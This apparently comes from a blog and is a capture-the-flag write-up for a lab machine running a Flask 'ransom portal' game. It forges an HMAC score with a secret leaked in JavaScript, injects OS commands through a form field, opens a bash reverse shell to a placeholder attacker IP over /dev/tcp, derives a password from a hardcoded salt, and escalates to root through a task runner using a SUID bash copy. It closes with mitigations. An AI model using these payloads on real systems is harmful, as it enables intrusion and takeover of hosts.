Summary
A Flask-based "ransom portal" game exposed a client-side-only anti-cheat mechanism: the score-verification HMAC secret was shipped in plaintext JavaScript, allowing a forged "winning" score to be submitted directly to the API. This unlocked a /vault page containing a household file-recovery form vulnerable to OS command injection, which ran as a low-privileged relay user. A hardcoded operator password-rotation scheme (derived from the hostname plus a leaked salt found in a comment) allowed escalation to the operator user. Finally, a root-owned background process that executed any operator-owned file dropped into operator's maintenance directory allowed trivial privilege escalation to root.
Attack chain: client-side HMAC bypass -> command injection -> reverse shell as relay -> hardcoded/derivable operator password -> su operator -> unsafe root-owned task-runner -> root.
1. Reconnaissance
rustscan -a <MACHINE_IP> --ulimit 5000
Open <MACHINE_IP>:22
Open <MACHINE_IP>:31337
nmap -sC -sV <MACHINE_IP> -p 22,31337 -oN nmap-sq1
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
31337/tcp open http Werkzeug httpd 3.1.9 (Python 3.12.3)
|_http-title: Cypher Creek Ransom Portal
|_http-server-header: Werkzeug/3.1.9 Python/3.12.3
Two open ports: SSH, and a Flask (Werkzeug) web app on 31337 titled "Cypher Creek Ransom Portal".
2. Web Enumeration - The Yeti's Ransom Portal
curl http://<MACHINE_IP>:31337/
The page presented a "click the Yeti" minigame. Beating it was claimed to unlock a prize vault and recover the villagers' files. Two static scripts were loaded: /static/sha256.js and /static/game.js.
game.js contained the client-side scoring logic, including the HMAC secret used to sign the submitted score, in plaintext:
const SCORE_SECRET = "yeti-loves-round-numbers";
...
async function submitScore(finalScore) {
const sig = hmacSha256Hex(SCORE_SECRET, String(finalScore));
const res = await fetch("/api/score", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ score: finalScore, sig }),
});
...
if (data.won) {
window.location.href = "/vault";
}
}
Since the "anti-cheat" signature is computed entirely client-side with a secret shipped to the browser, it can be forged without ever playing the game.
3. Forging a Winning Score
Using the site's own hmacSha256Hex function (loaded via /static/sha256.js) from the browser DevTools console, to avoid any risk of implementation mismatch:
let sig = hmacSha256Hex("yeti-loves-round-numbers", "999999");
fetch('/api/score', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({score: 999999, sig: sig})
}).then(r => r.json()).then(console.log)
Response:
{"message":"That's... not supposed to happen.","ok":true,"won":true}
Because this request was made from the browser console itself, the session cookie returned by the server was stored automatically by the browser. Navigating to /vault in that same tab straight after (either via the address bar or location.href = '/vault') then carried that cookie along and loaded the vault page directly - no separate curl/cookie-jar step was needed.
(An equivalent out-of-band version using Python's requests.Session() would also work, carrying its own cookie jar across both requests, but the actual vault access in this engagement was done purely through the browser console and address bar.)
4. The Vault - Command Injection
Navigating to /vault in the same browser session revealed the first flag and a second-stage "File recovery" form that asks for a household name and invokes a backend recovery script:
<p class="flag">THM{never_trust_a_client_side_scoreboard}</p>
<form id="recover-form">
<input type="text" id="household" name="household" placeholder="e.g. creekside_inn">
<button type="submit">Recover</button>
</form>
Testing with a semicolon-terminated command:
household = ;id
Response:
[recover] searching the Cypher Stream for ''...
[recover] no bundle for '' in the stream.
[recover] check the household name and try again.
uid=1001(relay) gid=1001(relay) groups=1001(relay)
Confirmed unsanitized OS command injection, executing as the relay user.
5. Reverse Shell as relay
Listener on attacker host:
penelope listen -p 4445
Payload submitted through the household field:
; bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1'
This landed an interactive shell as relay.
whoami
relay
id
uid=1001(relay) gid=1001(relay) groups=1001(relay)
User flag:
cat /home/relay/user.txt
THM{the_stream_gives_up_its_files}
6. Privilege Escalation - relay to operator
relay's bash history pointed directly at /opt/cypher-stream:
cat /opt/cypher-stream/flag_enum.txt
THM{the_key_was_hiding_in_the_comments}
The recovery script itself was re-read for context, with a comment signed "(B.)" hinting at the developer's habit of leaving notes:
cat /opt/cypher-stream/recover.sh
#!/bin/bash
# Internal tool, kept simple on purpose. The portal passes the household
# name straight through. (B.)
name="$1"
queue="/opt/cypher-stream/queue"
enc="${queue}/${name}.enc"
...
A companion script, keygen.py, revealed a deterministic operator password-rotation scheme derived from the hostname and a hardcoded salt:
cat /opt/cypher-stream/keygen.py
"""
Internal tool. Regenerates the operator maintenance account's password
whenever the relay is re-imaged, so we never ship the same password twice
across deployments. Derives from the box's own hostname plus our fixed
rotation salt.
Do not commit the salt anywhere public. (B.)
"""
import hashlib
import socket
ROTATION_SALT = "ransommit-cypher-2026"
def operator_password() -> str:
hostname = socket.gethostname()
digest = hashlib.sha256((hostname + ROTATION_SALT).encode()).hexdigest()
return digest[:16]
Running it on the box (so socket.gethostname() resolves correctly) generated the live operator password:
python3 /opt/cypher-stream/keygen.py
88986b5ea2e6d9c5
su operator
Password: 88986b5ea2e6d9c5
whoami
operator
Operator flag:
cat /home/operator/operator.txt
THM{same_recipe_every_time}
7. Privilege Escalation - operator to root
sudo -l confirmed operator had no sudo rights. Process listing showed a continuously running Python process with root in the user column, confirming it runs with root privileges rather than as relay or operator:
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 603 0.0 0.2 19832 8576 ? Ss 11:36 0:00 /usr/bin/python3 /opt/cypher-stream/relay-maintenance-runner.py
Reading the script (accessible as relay, who owns it):
cat /opt/cypher-stream/relay-maintenance-runner.py
"""
Relay maintenance runner.
The operator account is not trusted with sudo. Anything operator needs
done that requires root gets dropped in their maintenance directory
instead and actioned on the next pass.
"""
TASKS_DIR = "/home/operator/maintenance"
OPERATOR_UID = pwd.getpwnam("operator").pw_uid
def process_once():
for name in os.listdir(TASKS_DIR):
path = os.path.join(TASKS_DIR, name)
st = os.lstat(path)
if not stat.S_ISREG(st.st_mode):
continue
if st.st_uid != OPERATOR_UID:
continue
time.sleep(2)
subprocess.run(["/bin/bash", path], timeout=10)
os.remove(path)
while True:
process_once()
time.sleep(3)
This loop runs as root and will execute, as bash <path>, any regular file placed in /home/operator/maintenance/ that is owned by the operator UID - then deletes it. Since the directory is owned/writable by operator (drwx------ operator operator), any file dropped there by operator is picked up and run as root within roughly 3-5 seconds.
Exploit, run as operator:
cat > /home/operator/maintenance/pwn.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /home/operator/maintenance/pwn.sh
After a few seconds the runner picked up and executed the file as root, leaving a SUID copy of bash:
ls -la /tmp/rootbash
-rwsr-sr-x 1 root root 1446024 Dec 4 12:07 /tmp/rootbash
/tmp/rootbash -p
whoami
root
Root flag:
cat /root/root.txt
THM{the_yeti_trusted_too_soon}
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Client-side score verification with secret shipped to browser |
/static/game.js (SCORE_SECRET) |
Full anti-cheat bypass, unlocks /vault
|
| 2 | OS command injection via unsanitized form field |
/vault recovery form -> recover.sh "$1"
|
RCE as relay
|
| 3 | Deterministic password derived from public/guessable input + leaked salt in source comment |
keygen.py (ROTATION_SALT, hostname) |
Privilege escalation to operator
|
| 4 | Root-owned process executes arbitrary files dropped by an unprivileged, un-sudo'd user |
relay-maintenance-runner.py watching /home/operator/maintenance/
|
Privilege escalation to root
|
Attack Chain
Unauthenticated web access (port 31337)
|
v
Read /static/game.js -> leaked SCORE_SECRET
|
v
Forge HMAC sig -> POST /api/score {won: true}
|
v
Session cookie grants access to /vault
|
v
Command injection in "household" form field (recover.sh)
|
v
Reverse shell as relay (user.txt)
|
v
Read recover.sh / keygen.py comments (signed "(B.)")
|
v
Derive operator password from hostname + leaked salt
|
v
su operator (operator.txt)
|
v
Drop script into /home/operator/maintenance/
|
v
relay-maintenance-runner.py (root) executes it
|
v
SUID bash -> root (root.txt)
Mitigations
- Never perform authoritative validation (anti-cheat, scoring, authorization decisions) client-side. All score/result checks should be computed and verified entirely server-side with no secret exposed to the client.
- Sanitize and validate all user-supplied input before passing it to a shell. Use
subprocesswith argument lists (noshell=True, no string concatenation intobash -c) and strict allow-list validation of thehouseholdparameter (e.g. alphanumeric + underscore only). - Never derive credentials from predictable, low-entropy, or publicly-knowable values (hostname) combined with a salt stored in source code/comments. Use a securely generated random password or a proper secrets manager, and never commit or comment sensitive material in code.
- Do not design privilege-escalation workflows ("operator drops a task, root executes it") around trusting file ownership alone. If a lower-privileged user must trigger privileged actions, use a tightly scoped, audited mechanism (e.g. a signed/allow-listed command set via
sudo, or a dedicated IPC channel with strict validation) rather than blind execution of arbitrary files as root.
Top comments (0)